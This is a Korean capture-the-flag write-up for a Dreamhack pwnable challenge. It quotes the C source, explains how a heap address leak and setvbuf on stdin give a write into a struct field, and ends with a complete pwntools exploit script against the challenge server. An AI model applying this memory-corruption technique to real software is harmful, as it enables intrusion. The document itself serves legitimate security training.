typedef struct {
char name[16];
long HP;
long type;
void (*build)(void *);
void (*destroyed)(void *);
} Bunker;
typedef struct {
char name[16];
long HP;
long type;
void (*build)();
void (*destroyed)();
} Hatchery;
코드에서는 두 구조체가 사용된다.
#define YELLOW_WIN "22222"
void destroyedBunker(Bunker* this)
{
puts("Bunker is destructed...");
if(this->type && !strcmp ((char*)(this->type), YELLOW_WIN))
system("cat flag");
}
Bunker* newBunker(long hp)
{
Bunker* bunker = (Bunker*)malloc(sizeof(Bunker));
strcpy(bunker->name, "Bunker");
bunker->build = buildBunker;
bunker->destroyed = destroyedBunker;
//Yellow changed this line to comment.
//bunker->type = BOXER;
bunker->HP = hp;
return bunker;
}
char canwin='N';
void BuildHatchery()
{
puts ("your drone moved to outside.");
Hatchery* hatchery = newHatchery(0x1250);
hatchery->build(hatchery);
Bunker* bunker = newBunker(0x350);
bunker->build(bunker);
puts("your drone came out and attacked bunker!");
puts("now can you beat BoxeR? [y/N]");
scanf(" %c", &canwin);
if((char)canwin != 'N') {
puts("Drones finally destroyed the bunker!");
bunker->destroyed(bunker);
puts("Mission Success");
bunker = NULL;
} else {
puts("Bunker is completed");
hatchery->destroyed(hatchery);
puts("Failed to mission");
hatchery = NULL;
}
sleep(1);
exit(0);
}
destroyedBunker()
가 호출될 때 if문의 조건에 맞으면 문제를 풀 수 있다. 해당 함수의 주소는 Bunker
구조체 변수 bunker
의 destroyed
멤버로 설정되며, 이는 BuildHatchery()
내에서 호출되는 newBunker()
함수에 의해 설정된다. 이후 canwin
이 N
이 아니면 bunker->destroyed(bunker)
을 호출한다.
#define DEFAULT_SIZE 1024
char * buffer = 0;
long size = 0;
void BunkerRushStudy ()
{
int ret;
unsigned course;
printf("your buffer: %p\n", buffer);
puts("Select your course");
printf(">> ");
course = read_number();
if (course > 2) {
return;
}
if (course < 2) {
if (buffer == NULL) {
buffer = (char*)malloc(DEFAULT_SIZE);
size = DEFAULT_SIZE;
}
ret = setvbuf(stdin, buffer, course, size);
} else {
ret = setvbuf(stdin, 0, course, 0);
}
if (ret < 0) {
puts("study fail...");
exit(1);
}
puts("Finish and sleep.");
}
기존 buffer
의 주소를 출력한 후, 그 주소가 NULL
일 경우 malloc()
을 통해 동적 할당받는다. 이후 course
에 따라 _IOFBF
, _IOLBF
, _IONBF
로 stdin
을 세팅한다.
void BuildSpawningPool() {
printf("buffer: ");
scanf("%lu", &buffer);
printf("size: ");
scanf("%lu", &size);
if (size >0x10000)
size = 0;
}
buffer
와 size
를 입력받는다. 해당 함수를 호출하려면 메뉴 번호 입력 시 0x22222
를 입력해야 한다.
Bunker
구조체의 type
을 문자열 "22222"
의 주소값으로 바꾸어야 한다.Bunker
, Hatchery
구조체 모두 동적 할당을 받는다. 한편, BunkerRushStudy()
에서도 버퍼가 NULL일 경우 동적 할당을 한다.BunkerRushStudy()
에서는 버퍼의 주소를 출력한다. 따라서 버퍼의 동적 할당 이후 다시 이 함수로 오면 동적 할당된 주소를 알 수 있다. 이 주소를 알면, 미래에 할당될 Bunker
의 주소를 계산할 수 있다.BuildSpawningPool()
에서 buffer
의 값을 계산된 Bunker.type
의 주소로 설정한다. size
는 적당한 값(100
)으로 설정한다.BunkerRushStudy()
를 이용해 설정한 buffer
로 stdin
에 _IOLBF
를 설정한다. 이후 표준 입력으로 들어오는 값들은 Bunker.type
에 저장된다.canwin
을 입력받을 때 payload{(8바이트 Bunker.type+8
의 주소), \x02\x02\x02\x02\x02\x00
}를 입력한다.from pwn import *
#p = process('./chal')
p = remote('host3.dreamhack.games', 18119)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1') #malloc chunk 0x410, _IOLBF
p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'buffer: ')
heap_offset = int(p.recvline()[:-1], 16)
bunker_type_offset = heap_offset + 0x400 + 0x40 + 0x10 + 0x18
print('heap offset:', hex(heap_offset))
print('Bunker offset:', hex(heap_offset + 0x400 + 0x40 + 0x10))
print('Bunker.type offset:', hex(bunker_type_offset))
p.sendlineafter(b'>> ', b'2') #_IONBF
p.sendlineafter(b'>> ', b'139810')
p.sendlineafter(b'buffer: ', str(bunker_type_offset).encode()) #buffer=&Bunker.type
p.sendlineafter(b'size: ', b'100')
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1') #_IOLBF
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'[y/N]', p64(bunker_type_offset + 8) + b'22222\x00')
p.interactive()